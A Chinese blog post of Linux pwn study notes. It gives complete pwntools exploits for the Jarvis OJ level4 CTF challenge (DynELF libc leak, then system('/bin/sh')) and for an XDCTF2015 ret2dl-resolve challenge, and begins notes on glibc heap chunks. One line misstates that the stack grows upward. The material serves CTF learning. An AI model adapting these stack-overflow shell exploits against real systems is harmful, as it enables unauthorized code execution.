Linux Pwn Learning

0x00:Introduction

本篇文章主要总结自己学习Linux Pwn的一些过程,记录了一些有意义的资料

0x01:Stack Attack

0x00:DynELF

DynELF方法适用于没有libc的情况,我们可以通过DynELF方法来实现泄露system函数的地址,那么DynELF是什么呢?在pwntools官方文档有介绍,简单而言就是通过leak方法反复进入main函数中查询libc中的内容,其代码框架如下

1
2
3
4
5
6
7
8
9
p = process('./xxx')
def leak(address):
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex'))) #打印搜索的信息
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址

我们通过一道题来深入了解这个方法

0x01:Jarvis Oj-level4

题目链接

https://dn.jarvisoj.com/challengefiles/level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0

解题思路

我们先检测一些保护机制

1
2
3
4
5
6
7
  root@Thunder_J-virtual-machine:~/桌面# checksec level4
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/level4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled #堆栈不可执行
PIE: No PIE (0x8048000)

用IDA查看一下主函数内容

main()

如果是做了前面level0-3的朋友应该对这里非常熟悉,逻辑非常简单,我们进vulnerable_function()函数内看一下

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

vulnerable_function()

很明显这里出现栈溢出,read函数读取0x100的内容,双击buf可以看到buf只有0x88+0x4的大小,所以我们可以构造栈溢出

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

return read(0, &buf, 0x100u);
}

第一次构造

既然我们清楚是栈溢出,我们就需要多多观察程序内的信息,有没有system,’/bin/sh’等关键的内容,然而我们用IDA并没有搜索到有system或者’/bin/sh’的信息,那这里就需要用到上面提及的DynELF的方法了,我们通过objdump查看函数信息:

1
2
3
4
5
6
7
8
9
10
11
root@Thunder_J-virtual-machine:~/桌面# objdump -R level4

level4: 文件格式 elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a00c R_386_JUMP_SLOT read@GLIBC_2.0
0804a010 R_386_JUMP_SLOT __gmon_start__
0804a014 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a018 R_386_JUMP_SLOT write@GLIBC_2.0

我们看到有read和write函数,其实有这两个函数就代表我们可以通过他们来泄露system函数在libc中的地址了,因为我们可以通过栈溢出覆盖返回地址执行,因此我们第一次构造调用write函数泄露libc中system的地址

1
2
3
4
5
6
7
8
9
10
def leak(addr):
write_plt = p32(0x08048340)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + write_plt + fun_addr + p32(1) + p32(addr) + p32(4) #write(1, addr, 4);
r.send(payload)
leaked = r.recv(4)
return leaked

d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')

第二次构造

我们在得到了system函数的地址之后就需要写入’/bin/sh’字符串了,那么去哪里写入呢?当然是.bss段,我们通过readelf的方法查看程序的.bss段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
root@Thunder_J-virtual-machine:~/桌面# readelf -S level4
There are 30 section headers, starting at offset 0x1844:

节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481cc 0001cc 000060 10 A 6 1 4
[ 6] .dynstr STRTAB 0804822c 00022c 000050 00 A 0 0 1
[ 7] .gnu.version VERSYM 0804827c 00027c 00000c 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 08048288 000288 000020 00 A 6 1 4
[ 9] .rel.dyn REL 080482a8 0002a8 000008 08 A 5 0 4
[10] .rel.plt REL 080482b0 0002b0 000020 08 AI 5 12 4
[11] .init PROGBITS 080482d0 0002d0 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048300 000300 000050 04 AX 0 0 16
[13] .text PROGBITS 08048350 000350 0001c2 00 AX 0 0 16
[14] .fini PROGBITS 08048514 000514 000014 00 AX 0 0 4
[15] .rodata PROGBITS 08048528 000528 000017 00 A 0 0 4
[16] .eh_frame_hdr PROGBITS 08048540 000540 000034 00 A 0 0 4
[17] .eh_frame PROGBITS 08048574 000574 0000ec 00 A 0 0 4
[18] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[19] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[20] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[21] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 0804a000 001000 00001c 04 WA 0 0 4
[24] .data PROGBITS 0804a01c 00101c 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a024 001024 000004 00 WA 0 0 1
[26] .comment PROGBITS 00000000 001024 000052 01 MS 0 0 1
[27] .shstrtab STRTAB 00000000 001076 000106 00 0 0 1
[28] .symtab SYMTAB 00000000 00117c 000450 10 29 45 4
[29] .strtab STRTAB 00000000 0015cc 000276 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)

根据上面的数据我们选中.bss段的地址开始第二次构造,在.bss段中写入’/bin/sh’字符串

1
2
3
4
5
6
7
8
data_addr = 0x0804A024 # readelf -S level4

read_plt = p32(0x08048310)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + read_plt + fun_addr + p32(0) + p32(data_addr) + p32(8)
r.send(payload)

r.send("/bin/sh\x00")

第三次构造

准备工作做完了当然最后一步就是getshell了

1
2
payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr)
r.send(payload)

0x02:exp

总结一下上面的步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

r = remote("pwn2.jarvisoj.com", 9880)

def leak(addr):
write_plt = p32(0x08048340)
fun_addr = p32(0x0804844b)
buf = p32(addr)
payload = 'a' * (0x88 + 0x4) + write_plt + fun_addr + p32(1) + buf + p32(4)
r.send(payload)
leaked = r.recv(4)
return leaked

d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')

data_addr = 0x0804A024 # readelf -S level4

read_plt = p32(0x08048310)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + read_plt + fun_addr + p32(0) + p32(data_addr) + p32(8)
r.send(payload)

r.send("/bin/sh\x00")

payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr)
r.send(payload)

r.interactive()

0x03:总结

没有做过level0-3的建议做一下在做level4,每个题目收获都会有所不同

参考链接

1
2
https://www.anquanke.com/post/id/85129
https://blog.csdn.net/smalosnail/article/details/53386353

0x01:Ret2dl-resovle

ret2dl-resovle这种技术在pwn中的运用也挺多的,可以类比Windows下的IAT技术进行学习,了解这个技术之前,我们需要知道ELF文件中各个函数的加载过程,下面就演示一下GOT表是如何加载的,首先我们编译一个简单的程序

1
2
3
4
5
6
7
#include <stdio.h>
int main()
{
puts("Hello Pwn\n");
puts("welcome\n");
return 0;
}//gcc -m32 -fno-stack-protector -no-pie -s helloworld.c

我们在puts函数下一个断点,观察是如何调用这个函数的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ gdb a.out
...
pwndbg> b *0x080482e0
Breakpoint 1 at 0x80482e0
pwndbg> r
Starting program: /home/thunder/Desktop/CTF/pwn/ret2dl-resolve/a.out

Breakpoint 1, 0x080482e0 in puts@plt ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────
EAX 0x8048500 ◂— dec eax /* 'Hello Pwn\n' */
EBX 0x804a000 —▸ 0x8049f14 ◂— 0x1
ECX 0xffffd140 ◂— 0x1
EDX 0xffffd164 ◂— 0x0
EDI 0x0
ESI 0xf7fab000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d4d6c
EBP 0xffffd128 ◂— 0x0
ESP 0xffffd10c —▸ 0x804844f ◂— add esp, 0x10
EIP 0x80482e0 (puts@plt) ◂— jmp dword ptr [0x804a00c]
──────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────
► 0x80482e0 <puts@plt> jmp dword ptr [0x804a00c]

0x80482e6 <puts@plt+6> push 0
0x80482eb <puts@plt+11> jmp 0x80482d0

0x80482d0 push dword ptr [0x804a004]
0x80482d6 jmp dword ptr [0x804a008] <0xf7fead80>

0xf7fead80 <_dl_runtime_resolve> push eax
0xf7fead81 <_dl_runtime_resolve+1> push ecx
0xf7fead82 <_dl_runtime_resolve+2> push edx
0xf7fead83 <_dl_runtime_resolve+3> mov edx, dword ptr [esp + 0x10]
0xf7fead87 <_dl_runtime_resolve+7> mov eax, dword ptr [esp + 0xc]
0xf7fead8b <_dl_runtime_resolve+11> call _dl_fixup <0xf7fe4f30>
──────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd10c —▸ 0x804844f ◂— add esp, 0x10
01:0004│ 0xffffd110 —▸ 0x8048500 ◂— dec eax /* 'Hello Pwn\n' */
02:0008│ 0xffffd114 —▸ 0xffffd1d4 —▸ 0xffffd385 ◂— '/home/thunder/Desktop/CTF/pwn/ret2dl-resolve/a.out'
03:000c│ 0xffffd118 —▸ 0xffffd1dc —▸ 0xffffd3b8 ◂— 'QT_DBL_CLICK_DIST=15'
04:0010│ 0xffffd11c —▸ 0x804843a ◂— add ebx, 0x1bc6
05:0014│ 0xffffd120 —▸ 0xffffd140 ◂— 0x1
06:0018│ 0xffffd124 ◂— 0x0
... ↓
────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────
► f 0 80482e0 puts@plt
f 1 804844f
f 2 f7deee81 __libc_start_main+241
Breakpoint *0x80482e0
pwndbg> c
Continuing.
Hello Pwn


Breakpoint 1, 0x080482e0 in puts@plt ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────
EAX 0x804850b ◂— ja 0x8048572 /* 'welcome\n' */
EBX 0x804a000 —▸ 0x8049f14 ◂— 0x1
ECX 0x804b160 ◂— '\nello Pwn\n'
EDX 0xf7fac890 (_IO_stdfile_1_lock) ◂— 0x0
EDI 0x0
ESI 0xf7fab000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d4d6c
EBP 0xffffd128 ◂— 0x0
ESP 0xffffd10c —▸ 0x8048461 ◂— add esp, 0x10
EIP 0x80482e0 (puts@plt) ◂— jmp dword ptr [0x804a00c]
──────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────
► 0x80482e0 <puts@plt> jmp dword ptr [0x804a00c] <0xf7e3d250>

0xf7e3d250 <puts> push ebp
0xf7e3d251 <puts+1> mov ebp, esp
0xf7e3d253 <puts+3> push edi
0xf7e3d254 <puts+4> push esi
0xf7e3d255 <puts+5> push ebx
0xf7e3d256 <puts+6> call __x86.get_pc_thunk.di <0xf7f0ad7d>

0xf7e3d25b <puts+11> add edi, 0x16dda5
0xf7e3d261 <puts+17> sub esp, 0x28
0xf7e3d264 <puts+20> push dword ptr [ebp + 8]
0xf7e3d267 <puts+23> call __strlen_ia32 <0xf7e6e630>
──────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd10c —▸ 0x8048461 ◂— add esp, 0x10
01:0004│ 0xffffd110 —▸ 0x804850b ◂— ja 0x8048572 /* 'welcome\n' */
02:0008│ 0xffffd114 —▸ 0xffffd1d4 —▸ 0xffffd385 ◂— '/home/thunder/Desktop/CTF/pwn/ret2dl-resolve/a.out'
03:000c│ 0xffffd118 —▸ 0xffffd1dc —▸ 0xffffd3b8 ◂— 'QT_DBL_CLICK_DIST=15'
04:0010│ 0xffffd11c —▸ 0x804843a ◂— add ebx, 0x1bc6
05:0014│ 0xffffd120 —▸ 0xffffd140 ◂— 0x1
06:0018│ 0xffffd124 ◂— 0x0
... ↓
────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────
► f 0 80482e0 puts@plt
f 1 8048461
f 2 f7deee81 __libc_start_main+241
Breakpoint *0x80482e0

可以发现,0x80482e6这个地址,并不直接是libc的puts函数的地址。这是因为linux在程序加载时使用了延迟绑定(lazy
load),只有等到这个函数被调用了,才去把这个函数在libc的地址放到GOT表中。接下来,会再push一个0,再push一个dword ptr [0x804a004],待会会说这两个参数是什么意思,最后跳到libc的_dl_runtime_resolve去执行。这个函数的目的,是根据2个参数获取到导出函数(这里是puts)的地址,然后放到相应的GOT表,并且调用它。而这个函数的地址也是从GOT表取并且jmp [xxx]过去的,但是这个函数不会延迟绑定,因为所有函数都是用它做的延迟绑定。而第二次调用puts函数则直接指向puts函数的地址,懂得了上面的东西,我们还需要知道一些结构体,类比PE文件的一些结构,用来索引一些结构。

.dynamic

dynamic结构包含了一些关于动态链接的关键信息,我们只需要关注DT_STRTAB, DT_SYMTAB, DT_JMPREL这三个字段,这三个东西分别包含了指向.dynstr, .dynsym, .rel.plt这3个section的指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
LOAD:08049F14                   ; ELF Dynamic Information
LOAD:08049F14 ; ===========================================================================
LOAD:08049F14
LOAD:08049F14 ; Segment type: Pure data
LOAD:08049F14 ; Segment permissions: Read/Write
LOAD:08049F14 LOAD segment mempage public 'DATA' use32
LOAD:08049F14 assume cs:LOAD
LOAD:08049F14 01 00 00 00 01 00+stru_8049F14 Elf32_Dyn <1, <1>>
LOAD:08049F14 00 00 ; DATA XREF: LOAD:080480BC↑o
LOAD:08049F14 ; .got.plt:0804A000↓o
LOAD:08049F14 ; DT_NEEDED libc.so.6
LOAD:08049F1C 0C 00 00 00 A8 82+Elf32_Dyn <0Ch, <80482A8h>> ; DT_INIT
LOAD:08049F24 0D 00 00 00 D4 84+Elf32_Dyn <0Dh, <80484D4h>> ; DT_FINI
LOAD:08049F2C 19 00 00 00 0C 9F+Elf32_Dyn <19h, <8049F0Ch>> ; DT_INIT_ARRAY
LOAD:08049F34 1B 00 00 00 04 00+Elf32_Dyn <1Bh, <4>> ; DT_INIT_ARRAYSZ
LOAD:08049F3C 1A 00 00 00 10 9F+Elf32_Dyn <1Ah, <8049F10h>> ; DT_FINI_ARRAY
LOAD:08049F44 1C 00 00 00 04 00+Elf32_Dyn <1Ch, <4>> ; DT_FINI_ARRAYSZ
LOAD:08049F4C F5 FE FF 6F AC 81+Elf32_Dyn <6FFFFEF5h, <80481ACh>> ; DT_GNU_HASH
LOAD:08049F54 05 00 00 00 1C 82+Elf32_Dyn <5, <804821Ch>> ; DT_STRTAB
LOAD:08049F5C 06 00 00 00 CC 81+Elf32_Dyn <6, <80481CCh>> ; DT_SYMTAB
LOAD:08049F64 0A 00 00 00 4A 00+Elf32_Dyn <0Ah, <4Ah>> ; DT_STRSZ
LOAD:08049F6C 0B 00 00 00 10 00+Elf32_Dyn <0Bh, <10h>> ; DT_SYMENT
LOAD:08049F74 15 00 00 00 00 00+Elf32_Dyn <15h, <0>> ; DT_DEBUG
LOAD:08049F7C 03 00 00 00 00 A0+Elf32_Dyn <3, <804A000h>> ; DT_PLTGOT
LOAD:08049F84 02 00 00 00 10 00+Elf32_Dyn <2, <10h>> ; DT_PLTRELSZ
LOAD:08049F8C 14 00 00 00 11 00+Elf32_Dyn <14h, <11h>> ; DT_PLTREL
LOAD:08049F94 17 00 00 00 98 82+Elf32_Dyn <17h, <8048298h>> ; DT_JMPREL
LOAD:08049F9C 11 00 00 00 90 82+Elf32_Dyn <11h, <8048290h>> ; DT_REL
LOAD:08049FA4 12 00 00 00 08 00+Elf32_Dyn <12h, <8>> ; DT_RELSZ
LOAD:08049FAC 13 00 00 00 08 00+Elf32_Dyn <13h, <8>> ; DT_RELENT
LOAD:08049FB4 FE FF FF 6F 70 82+Elf32_Dyn <6FFFFFFEh, <8048270h>> ; DT_VERNEED
LOAD:08049FBC FF FF FF 6F 01 00+Elf32_Dyn <6FFFFFFFh, <1>> ; DT_VERNEEDNUM
LOAD:08049FC4 F0 FF FF 6F 66 82+Elf32_Dyn <6FFFFFF0h, <8048266h>> ; DT_VERSYM
LOAD:08049FCC 00 00 00 00 00 00+Elf32_Dyn <0> ; DT_NULL

.dynstr

.dynstr是一个字符串表,index[0]的地方永远是0,然后后面是动态链接所需的字符串,以0结尾,包括导入函数名,比方说这里很明显有个puts。到时候,相关数据结构引用一个字符串时,用的是相对这个section头的偏移,比方说,在这里,就是字符串相对0x804821C的偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
LOAD:0804821C                   ; ELF String Table
LOAD:0804821C 00 byte_804821C db 0 ; DATA XREF: LOAD:080481DC↑o
LOAD:0804821C ; LOAD:080481EC↑o
LOAD:0804821C ; LOAD:080481FC↑o
LOAD:0804821C ; LOAD:0804820C↑o
LOAD:0804821D 6C 69 62 63 2E 73+aLibcSo6 db 'libc.so.6',0
LOAD:08048227 5F 49 4F 5F 73 74+aIoStdinUsed db '_IO_stdin_used',0
LOAD:08048227 64 69 6E 5F 75 73+ ; DATA XREF: LOAD:0804820C↑o
LOAD:08048236 70 75 74 73 00 aPuts db 'puts',0 ; DATA XREF: LOAD:080481DC↑o
LOAD:0804823B 5F 5F 6C 69 62 63+aLibcStartMain db '__libc_start_main',0
LOAD:0804823B 5F 73 74 61 72 74+ ; DATA XREF: LOAD:080481FC↑o
LOAD:0804824D 47 4C 49 42 43 5F+aGlibc20 db 'GLIBC_2.0',0
LOAD:08048257 5F 5F 67 6D 6F 6E+aGmonStart db '__gmon_start__',0
LOAD:08048257 5F 73 74 61 72 74+ ; DATA XREF: LOAD:080481EC↑o

.dynsym

结构如下,这是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。我们这里只关心函数符号,比如puts函数。结构体定义如下

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

在IDA中显示如下

1
2
3
4
5
6
LOAD:080481CC                   ; ELF Symbol Table
LOAD:080481CC 00 00 00 00 00 00+Elf32_Sym <0>
LOAD:080481DC 1A 00 00 00 00 00+Elf32_Sym <offset aPuts - offset byte_804821C, 0, 0, 12h, 0, 0> ; "puts"
LOAD:080481EC 3B 00 00 00 00 00+Elf32_Sym <offset aGmonStart - offset byte_804821C, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:080481FC 1F 00 00 00 00 00+Elf32_Sym <offset aLibcStartMain - offset byte_804821C, 0, 0, 12h, 0, 0> ; "__libc_start_main"
LOAD:0804820C 0B 00 00 00 EC 84+Elf32_Sym <offset aIoStdinUsed - offset byte_804821C, offset _IO_stdin_used, 4, 11h, 0, 10h> ; "_IO_stdin_used"

.rel.plt

这里是重定位表(不过跟windows那个重定位表概念不同),也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:

1
2
3
4
5
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info; //重定位入口的类型和符号
} Elf32_Rel;

在IDA中显示如下

1
2
3
4
LOAD:08048298                   ; ELF JMPREL Relocation Table
LOAD:08048298 0C A0 04 08 07 01+Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT puts
LOAD:080482A0 10 A0 04 08 07 03+Elf32_Rel <804A010h, 307h> ; R_386_JMP_SLOT __libc_start_main
LOAD:080482A0 00 00 LOAD ends

上面的结构体看起来也挺迷糊人的,我只是根据一位大佬的文章总结过来的,下面才是我们需要清楚的关键函数 _dl_runtime_resolve(link_map_obj, reloc_index) ,源码可以在这里下载。

_dl_runtime_resolve函数运行模式如下:

  1. 用link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
  2. .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
  3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
  4. .dynstr + sym->st_name得出符号名字符串指针
  5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
  6. 调用这个函数

利用方法主要是伪造rel.plt表和symtab表,并且修改reloc_index,让重定位函数解析我们伪造的结构体,借此修改符号解析的位置,对于一些字段的获取,我们可以用objdump来寻找,如下图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .rel.plt ./main

./main: 文件格式 elf32-i386

Contents of section .rel.plt:
8048330 0ca00408 07010000 10a00408 07020000 ................
8048340 14a00408 07040000 18a00408 07050000 ................
8048350 1ca00408 07060000 ........
thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .dynsym ./main

./main: 文件格式 elf32-i386

Contents of section .dynsym:
80481d8 00000000 00000000 00000000 00000000 ................
80481e8 33000000 00000000 00000000 12000000 3...............
80481f8 27000000 00000000 00000000 12000000 '...............
8048208 52000000 00000000 00000000 20000000 R........... ...
8048218 20000000 00000000 00000000 12000000 ...............
8048228 3a000000 00000000 00000000 12000000 :...............
8048238 4c000000 00000000 00000000 12000000 L...............
8048248 2c000000 44a00408 04000000 11001a00 ,...D...........
8048258 0b000000 3c860408 04000000 11001000 ....<...........
8048268 1a000000 40a00408 04000000 11001a00 ....@...........
thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .dynstr ./main

./main: 文件格式 elf32-i386

Contents of section .dynstr:
8048278 006c6962 632e736f 2e36005f 494f5f73 .libc.so.6._IO_s
8048288 7464696e 5f757365 64007374 64696e00 tdin_used.stdin.
8048298 7374726c 656e0072 65616400 7374646f strlen.read.stdo
80482a8 75740073 65746275 66005f5f 6c696263 ut.setbuf.__libc
80482b8 5f737461 72745f6d 61696e00 77726974 _start_main.writ
80482c8 65005f5f 676d6f6e 5f737461 72745f5f e.__gmon_start__
80482d8 00474c49 42435f32 2e3000 .GLIBC_2.0.

0x01:例子

题目链接

首先检查保护机制

1
2
3
4
5
6
7
thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ checksec main
[*] '/home/thunder/Desktop/CTF/pwn/ret2dl-resolve/main'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // eax
char buf[4]; // [esp+0h] [ebp-6Ch]
char v6; // [esp+18h] [ebp-54h]
int *v7; // [esp+64h] [ebp-8h]

v7 = &argc;
strcpy(buf, "Welcome to XDCTF2015~!\n");
memset(&v6, 0, 0x4Cu);
setbuf(stdout, buf);
v3 = strlen(buf);
write(1, buf, v3);
vuln();
return 0;
}

vuln

1
2
3
4
5
6
7
ssize_t vuln()
{
char buf; // [esp+Ch] [ebp-6Ch]

setbuf(stdin, &buf);
return read(0, &buf, 0x100u);
}

题目思路非常清晰,read函数存在栈溢出,但是没有libc,ROPgadget也很少,这里就可以考虑ret2dl-resolve,我们先将栈转移到bss段,然后构造结构体,实现对system函数的解析,然后getshell

第一处payload负责栈转移,将eip覆盖为.rel.plt地址,传递一个可控的rel_offset,使rel_entry落在可控区域

1
payload = 'a'*108 + p32(bss_addr - 20) + p32(elf.plt['read']) + p32(leave_ret) + p32(0) + p32(bss_addr - 20) + p32(0x50)

第二处的payload负责伪造rel_entry使sym_entry落在可控区域,伪造sym_entry使sym_name为‘system’

1
2
3
4
5
6
payload2 = p32(0x0) # pop ebp, 随便设反正不用了
payload2 += p32(DYN_RESOL_PLT) # resolve的PLT,就是前面说的push link_map那个位置
payload2 += p32(FAKE_REL_OFF) # 伪造的重定位表OFFSET
payload2 += p32(0xdeadbeef) # 返回地址
payload2 += p32(bin_sh) # 参数'/bin/sh'
payload2 += fake_rel_plt + fake_dynsym + fake_dynstr

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

r = process('./main')
elf = ELF('./main')
#r = remote("",)

context.log_level = 'debug'

context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

if args.G:
gdb.attach(r)

rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr

bss_addr = 0x804a300 # readelf -S main => .bss
DYN_RESOL_PLT = 0x8048380 # readelf -S main => .plt
leave_ret = 0x08048458 # ROPgadget --binary main --only "leave|ret"

fake_rel_plt_addr = bss_addr
fake_dynsym_addr = fake_rel_plt_addr + 0x8
fake_dynstr_addr = fake_dynsym_addr + 0x10
bin_sh = fake_dynstr_addr + 0x7

FAKE_REL_OFF = fake_rel_plt_addr - rel_plt_addr
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
str_off = fake_dynstr_addr - dynstr_addr

payload = 'a'*108 + p32(bss_addr - 20) + p32(elf.plt['read']) + p32(leave_ret) + p32(0) + p32(bss_addr - 20) + p32(0x50)

r.recvuntil('!\n')
r.sendline(payload) # stack immigration

fake_rel_plt = p32(elf.got['read'])+p32(r_info)
fake_dynsym = p32(str_off) + p32(0) + p32(0) + p32(0x12000000)
fake_dynstr = "system\x00/bin/sh\x00\x00"

payload2 = p32(0x0) + p32(DYN_RESOL_PLT) + p32(FAKE_REL_OFF) + p32(0xdeadbeef) + p32(bin_sh) + fake_rel_plt + fake_dynsym + fake_dynstr

r.sendline(payload2) # construct a fake structure

r.interactive()

0x02:总结

这个脚本可以保存一份,以后遇到类似的题目可以直接套用脚本

参考链接

1
https://bbs.pediy.com/thread-227034.htm

0x02:Heap Attack

Glibc Heap

本文实验环境主要是在Linux下,对Linux的堆知识进行整理和总结,也算是对许多资料的一个整理,和Windows相比,Linux下的堆管理机制并没有那么的严谨,导致了许多攻击的产生,下面就从概念开始分析Linux堆管理机制

堆定义

在程序运行过程中,堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域。我们一般称管理堆的那部分程序为堆管理器,与栈不同的是堆由低地址向高地址方向增长,而栈由低地址向高地址方向增长。下面这张图可以很清楚的说明:

1

注:本文提到的堆是基于glibc 库下的 ptmalloc2堆管理器

堆相关数据结构

malloc_chunk

我们首先来看堆结构的源码,这里我们申请的每一个堆即是一个chunk结构,它有个名字叫做malloc_chunk,非常有意思的是,无论一个 chunk 的大小如何,处于分配状态还是释放状态,它们都使用一个统一的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

各个字段解释如下

  • prev_size

    负责记录前一块chunk的大小,只有在前面一个堆块是空闲的时候才有值。前面一个堆块在使用时,他的值始终为 0

  • size

    记录该 chunk 的大小,大小必须是 2 SIZE_SZ 的整数倍。如果申请的内存大小不是 2 SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。 该字段的低三个比特位有如下的作用

    • NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1 表示不属于,0 表示属于。
    • IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
